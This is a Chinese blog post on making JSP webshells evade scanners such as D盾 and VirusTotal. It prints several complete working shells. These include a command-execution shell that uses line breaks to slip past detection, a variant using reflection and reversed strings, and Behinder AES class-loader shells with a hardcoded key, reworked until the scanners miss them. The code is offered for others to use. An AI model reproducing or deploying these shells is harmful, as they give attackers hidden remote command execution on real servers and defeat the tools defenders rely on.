过d盾 jsp webshell+冰蝎免杀马探讨

前言:
本文章仅用于渗透交流学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任
jsp免杀马的思路其实一般最常用的就是反射和类加载问题+反转问题
就能bypass webshell的查杀了

当然现在的有些厂商直接强标识<%%>这种就要el去绕咯

基础小马bypass

bypass1 一个换行特性导致的bypass

最开始四级
image.png
换行特性后即完美bypass(所以我才说如果是小马的话可以说是贼好bypass)

<%@ page language="java" pageEncoding="UTF-8" %>
<%
    Runtime rt = Runtime.getRuntime();
    String cmd = request.getParameter("cmd");
    Process process = rt.
exec(cmd);
    java.io.InputStream in =
 process.getInputStream();
    out.print("<pre>");
    java.io.InputStreamReader resultReader
 = new java.io.InputStreamReader(in);
    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    String s = null;
    while ((s = stdInput.readLine()) != null) {
        out.println(s);
    }
    out.print("</pre>");
%>

d盾
image.png
长亭
image.png
河马
image.png
百度
image.png
vt
image.png

bypass2 反射+反转的思路(这个不是我写的 觉得这个思路不错而且也还免杀就扔给师傅们玩了)

<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String reverseStr(String str){String reverse = "";int length = str.length();for (int i = 0; i < length; i++){reverse = str.charAt(i) + reverse;}return reverse;}%>
<%
String x = request.getParameter("x");
if(x!=null){
	Class rt = Class.forName(reverseStr("emitnuR.gnal.avaj"));
	Method gr = rt.getMethod(reverseStr("emitnuRteg"));
    Method ex = rt.getMethod(reverseStr("cexe"), String.class);
	Process e = (Process) ex.invoke(gr.invoke(null),  x);
	java.io.InputStream in = e.getInputStream();
	int a = -1;
	byte[] b = new byte[2048];
	out.print("<pre>");
	while((a=in.read(b))!=-1){
		out.println(new String(b));
	}
	out.print("</pre>");
}
%>

d盾
image.png
百度
image.png
长亭
image.png
vt
image.png
河马
image.png

冰蝎bypass

这里主要来玩一下冰蝎bypass 因为这个马的特征被大佬们玩的差不多了 不过还是可以碰一下玩的
这里扔一个bypass vt查杀率1/58的 其他全过
冰蝎正文:
最开始的

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
String input= request.getReader().readLine();
new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(input))).newInstance().equals(pageContext);
}%>

效果d盾直接就查了 5级后门
image.png
加入java的换行特性+

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b)
{return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().
equals("POST")){
String k="e45e329feb5d925b";
session.
putValue("u",k);
Cipher c=Cipher.
getInstance("AES");
c.init(2,new SecretKeySpec

(k.getBytes(),"AES"));
String input= request.
getReader()
.readLine
();
new U(this.getClass()
.getClassLoader()
).g(c.doFinal(Base64.getDecoder()
.decode(input)))
.newInstance()
.equals(pageContext);
}%>

变成2级 可疑文件了
image.png
引入注释符 后面根据研究单纯的unicode+换行+注释符啥的都只能bypass2级的效果

image.png
还是二级效果
image.png
冰蝎仍可连
image.png
那就只能做下定位看看这个可疑定的是哪条了
然后当把最后一条代码删除时
就不报了 即核心本质就是要改最后一段的特征
image.png
即这串代码
在删除里面的细节然后想办法进行替换

new U(this.getClass()
.getClassLoader()
).g(c.doFinal(Base64.getDecoder()
.decode(input)))
.newInstance()
.equals(pageContext);

结合反射特性进行bypass
几个替换

this.getClass().getClassLoader()
//替换为
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();Base64.getDecoder().decode(input)
//替换为  
byte[] bytes=(byte[]) Base64.getDecoder().decode(input);
③c.doFinal()
//替换为
Class clazz2=Class.forName("javax.crypto.Cipher");
byte[] clazzBytes=(byte[]) clazz2.getMethod("doFinal",byte[].class).invoke(c,bytes);    

最后替换后bypass的马
除vt以外其他的都完美过 vt其实也能完美过 在多个类即可bypass完美的(有兴趣的话师傅们可以研究下)

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,sun.misc.BASE64Decoder"%>
<%!class U extends ClassLoader
{
    U(ClassLoader c){super(c);
    }
    public Class g(byte []b)
    {
    return super.defineClass(b,0,b.length);
    }
}%>
<%if (request.getMethod().equals("POST"))
{
    String k="e45e329feb5d925b";
    session.putValue("u",k);
    Cipher c=Cipher.
getInstance("AES");

    c.init(2,
new SecretKeySpec
(k.getBytes()
,"AES"));
    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
 String input= request.
getReader()
.readLine
();
    
    
    byte[] bytes=(byte[]) Base64.getDecoder().decode(input);
    Class clazz2=Class.forName("javax.crypto.Cipher");
    byte[] clazzBytes=(byte[]) clazz2.getMethod("doFinal",byte[].class).invoke(c,bytes);
    Class clazz=new U(contextClassLoader).
g(clazzBytes);
    clazz.newInstance().equals(pageContext);
}%>

d盾查杀率
image.png
vt查杀率
查杀率1/58
image.png
长亭
image.png
百度的(有一说一 这个的jsp查杀效果真不行 乱过)
image.png
河马
image.png

  • 2
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值